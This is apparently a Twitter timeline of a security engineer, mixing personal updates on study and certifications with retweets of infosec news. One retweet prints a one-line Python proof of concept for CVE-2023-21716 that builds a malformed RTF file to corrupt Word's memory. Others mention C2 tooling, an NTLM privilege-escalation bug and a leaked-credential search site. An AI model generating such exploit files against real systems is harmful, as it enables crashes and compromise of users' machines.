icebear

🛡️ Security Engineer | 👨‍💻 Hacker | 🧩 Puzzle Solver | 📚 Lifelong Learner | 🎓 @WGUCyberClub

Opinions are my own and not the views of my employer

[icebear @icebearhacks]

Microsoft licensing is very confusing if you're not working with it regularly. Here's an awesome resource to simplify it. https://t.co/UKeFrgxhaE #Microsoft

[icebear @icebearhacks]

I'll be going through this soon, need to study up on Azure, and the AZ-500 seems like a great start.

[INE Security (FKA eLearnSecurity) @INEsecurity]

Preparing for the AZ-500 certification? Responsible for managing and protecting identities in Azure? Take our new Azure Advanced Identity & Access Management course: https://t.co/wen8jvhFIr

#azure #cloud #cloudsecurity

[icebear @icebearhacks]

I prefer AWS but, the universe keeps pushing me to Azure. It looks like it's finally time to dive into it.

[BSides CT @BSidesCT]

Reminder that https://t.co/lPel6R51km is open , get your papers in! #bsides #cybersecurity #Hacking #infosec #CFP. Also looking for people interested in submitting CTF challenges.

[icebear @icebearhacks]

I completed the last course for my B.S. Cybersecurity and Information Assurance program on 7/31. The diploma is in the mail, and I'll be waiting to put it on the wall. I'll plan to start the Masters program a little later this year. #educationalgrowth #CyberSecurity

[icebear @icebearhacks]

If the code works, is it good code?

[Hacking Articles @hackinarticles]

Top Vulnerability Scanners

#infosec #cybersecurity #cybersecuritytips #pentesting #redteam #informationsecurity #CyberSec #networking #networksecurity #infosecurity #cyberattacks #security #linux #cybersecurityawareness #bugbounty #bugbountytips

[yamakadi @_yamakadi]

Hi everyone! I've just released ClrOxide, a rust library that allows you to host the CLR and execute dotnet binaries. 😁 Your Rust C2's can finally do execute-assembly now 😜

https://t.co/tvK6jNa4OE / https://t.co/tvj0oV2nx3

[Daniel Kelley @danielmakelley]

30 cybersecurity search engines for researchers:

1. Dehashed—View leaked credentials.
2. SecurityTrails—Extensive DNS data.
3. DorkSearch—Really fast Google dorking.
4. ExploitDB—Archive of various exploits.
5. ZoomEye—Gather information about targets.

[Joshua J. Drake @jduck]

CVE-2023-21716 Python PoC (take 2) open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))

[icebear @icebearhacks]

"I know that I know nothing". This old quote inspires my curiosity and drives my education. Humility is a great thing my friends.

[Andrea P @decoder_it]

We did it again with #LocalPotato!
A not-so-common NTLM reflection attack allowing for arbitrary read/write. Basically EoP from user to SYSTEM.
Tracked as #CVE-2023-21746 - Windows NTLM EoP
Soon more details --> https://t.co/Skyn0xdxNN
cc @splinter_code

[Christopher Peacock @SecurePeacock]

Renamed rundll32 execution should be a critical alert that rises to the top of the SOC queue. Don't wait for correlation to trip, respond ASAP.🚨
Sigma Rule from @cyb3rops : https://t.co/mg1BgnzKre

[KevTheHermit @KevTheHermit]

It's that time of the month again, #patchtuesday patches are out from @msftsecurity. Looks like one exploited in wild CVE-2023-21674 Priv Esc in ALPC

[icebear @icebearhacks]

I've earned the Advent of Cyber 4 Badge on TryHackMe for Completing Advent of Cyber 4! https://t.co/ey08wNayKu #tryhackme via @tryhackme

This was a nice event, and something to do everyday before Christmas. It was quite enjoyable.

[Ivan Kwiatkowski @JusticeRage]

Step 1: open a binary in IDA and press F5
Step 2: paste the decompiled code into OpenAI's chatbot

Someone's job just got way easier.

[Graham Helton (too much for zblock) @GrahamHelton3]

What are some tools you can't live without? Here are a few I use:

1. Bpytop: A better version of the Linux `top` command

[TryHackMe @tryhackme]

Ho ho hackety ho! 🎅

To celebrate the launch of #AdventOfCyber, we’re giving away a limited edition #TryHackMe Yeti t-shirt. All you have to do is like and retweet!

The winner will be chosen at random on Sunday and announced on Monday 12th December. Good luck! 🤞

[icebear @icebearhacks]

@zarandija @HasirHamdan @tryhackme Elves to the rescue :)